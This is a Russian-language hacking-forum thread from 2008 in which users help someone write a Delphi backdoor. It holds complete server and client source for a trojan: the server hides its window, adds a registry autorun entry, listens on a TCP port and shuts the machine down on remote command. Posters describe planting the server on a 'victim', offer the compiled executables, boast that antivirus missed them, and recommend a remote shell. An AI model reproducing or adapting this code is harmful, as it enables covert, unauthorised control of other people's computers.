Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   С/С++, C#, Delphi, .NET, Asm (https://forum.antichat.xyz/forumdisplay.php?f=24)
-   -   Бекдор. Передача команд (https://forum.antichat.xyz/showthread.php?t=90232)

ronald 03.11.2008 13:36

Бекдор. Передача команд
 
Привет всем!
Подскажите пожалуйста как средством UDP/TCP/Sockets... на делфи (7) написать бекдор, а точнее часть, передающую команды.
К примеру:
Client: reboot
Server получает и идёт выполнение команды
ExitWindowsEx(EWX_REBOOT,0);
Подскажите как?

De-visible 03.11.2008 13:41

Часть передающая команды, обычно называется клиентом, в просторах интернета показано не мало примеров по написание троянов, что именно тебе непонятно?

ronald 03.11.2008 13:45

мне непонятен именно сам механизм анализа переданной команды сервером

_nic 03.11.2008 18:07

Цитата:

Сообщение от ronald
мне непонятен именно сам механизм анализа переданной команды сервером

А чего тут не понятного?Тут подумать и все станет понятно :D
Или писать обертку для выполнения апи ф-ций через сокеты.Или запустить cmd с перенаправлением ввода\вывода через сокеты.

reza4ok 03.11.2008 21:30

Если я правильно понял то тебе нада написать сервер и клиент для его управления. Сервер должен открыть порт:

Код:

TcpServer1.LocalPort := '1111'; //указываеш какой порт нада октрыть
Код:

TcpServer1.Active := True; // открывается порт
Потом идёт обработка команды
Код:

u:=false; //переменной U присваеваем ложь
begin
repeat
sleep(1000);
if TcpServer1.ReceiveLn = 'X' then // если получили команду "X", то выпольняеш нужную тебе команду или процедуру
until U;
end;

Теперь кодиш клиент:
Код:

TcpClient1.RemoteHost := Edit1.Text; // ip сервера
TcpClient1.RemotePort := '1111'; // порт такой же как у сервера
TcpClient1.Active := True;

Ну а что бы послать команды используй:
Код:

TcpClient1.Sendln(Edit2.Text); // здесь должна быть команда, то есть как я писал - Х
Но здесь мождна обойтись и без Edit2.Text а просто кнопкой

Надеюсь написал то что ты хотел :-)

Gulik 07.11.2008 01:00

Полные исходники:


Нужно Form1 убрать из Avto Create
Сервер
Код:

program Intersec;

uses
  Forms,
  Windows,
  Unit1 in 'Unit1.pas' {Form1};

{$R *.res}
  var
      WhEvent : THandle;
begin
  Application.Initialize;
  ShowWindow(Application.Handle,SW_HIDE);
  Form1:=TForm1.Create(nil);
  Application.Run;
  WhEvent:=CreateEvent(nil, true, false, 'et');
  while (true) do begin
      WaitForSingleObject(WhEvent, 1000);
      Application.ProcessMessages;
  end;
end.

Код:

unit Unit1;

interface

uses
  Windows, Messages, registry, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ScktComp;

type
  TForm1 = class(TForm)
    ServerSocket1: TServerSocket;
    procedure FormCreate(Sender: TObject);
    procedure FormDestroy(Sender: TObject);
    procedure ServerSocket1ClientRead(Sender: TObject;
      Socket: TCustomWinSocket);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);
  var
      RegIni : TRegIniFile;
begin
  RegIni:=TRegIniFile.Create('Software');
  RegIni.RootKey:=HKEY_LOCAL_MACHINE;
  RegIni.OpenKey('Software', true);
  RegIni.OpenKey('Microsoft', true);
  RegIni.OpenKey('Windows', true);
  RegIni.OpenKey('CurrentVersion', true);
  RegIni.WriteString('RunServices', 'Intersec.exe', 'Application.ExeName');
  RegIni.Free; 
  ServerSocket1.Active:=true;
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
  ServerSocket1.Active:=False;
end;

procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
  Socket: TCustomWinSocket);
  var
      s: String;
begin
  s:= Socket.ReceiveText;
  if s='Reboot' then
      ExitWindowsEx(EWX_SHUTDOWN, 0);  // или ExitWindowsEx(EWX_FORCE, 0); для мгновенного выключения компа
end;

end.

Клинет:
Код:

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ScktComp, StdCtrls;

type
  TForm1 = class(TForm)
    Button1: TButton;
    Edit1: TEdit;
    ClientSocket1: TClientSocket;
    Label1: TLabel;
    Edit2: TEdit;
    Label2: TLabel;
    procedure Button1Click(Sender: TObject);
    procedure FormDestroy(Sender: TObject);
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
begin
  ClientSocket1.Address:=Edit1.Text;
  ClientSocket1.Active:=True;
  ClientSocket1.Socket.SendText(Edit2.Text);
  ClientSocket1.Active:=False;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin

end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
  if ClientSocket1.Active then
      ClientSocket1.Active:=False;
end;

end.

Так же можно скачать размер 384.93 KB

В архиве exe`шники так что может сработать антивирус.
Мой NOD32 v3 молчал.

LEE_ROY 07.11.2008 04:48

в примерах от борланда вроде была работа с сокетами на станд.компонентах ....

slesh 07.11.2008 10:19

o_O делфи + vcl =бекдор
Читай Delphi World aka 5005 статей по делфи. Там хорошо описана работа с сокетами через winsock. И размер будет меньше и работать будет шустрее.
А на счет того как отправлять команды, то если не юзать всё в стиле терминала, то использую чтото типа пакетного режима. а именно
типа такой пакет строй:CMD_ID_1#CMD_ID_2#
другими словами - посылаешь коды команды разделенные какминить не цифровым символом типа #
А в проге разбиваешь на составляющие части, далее strtoint а затем уже через case выбираешь нужное действие и после выполнения действия можно сделать ответный пакет типа CMD_ID#REPLY_CODE#REPLY
т.е. ID команды которую выполнил. Ошибка или удачно и результат выполнения, если он конечно предусматривается, типа если вернуть список процессов )
Но всёже достаточно будет сделать обычный шелл. И уже не нужно будет клиентсткое приложение. Для примера можешь глянуть шел с паролем вот тут http://forum.antichat.ru/showthread.php?p=892048#post892048

_Pantera_ 07.11.2008 10:47

Цитата:

Сообщение от ronald
мне непонятен именно сам механизм анализа переданной команды сервером

Тут все очень просто. Описывю в двух словах:
У тебя на компе остается Клиент, а сервер ты забрасывешь жертве. Сервер должен открыть порт и ждать подключения от клиента. После того как Клиент проконектиться к серверу у тебя появляеться возможность передавть команды. Команды, это просто строка текста, которая отправляется с клиента на сервер. На сервере она обрабатывается и через условие проверяется. Т.е весь код на отключение, открытие сидюка и прочее храниться на сервере а клиент только отпрвляет команды. Вот общий пример:

Сервер - открываем порт и ждем подключения
Кслиент- конектимся на порт
Клиент - отправляем строку текста "open" на сервер
Сервер - проверемя через условие(если получена команда "open" тогда открываем сидиром)
и т.д пока не будет получена команда на дисконект


Время: 03:09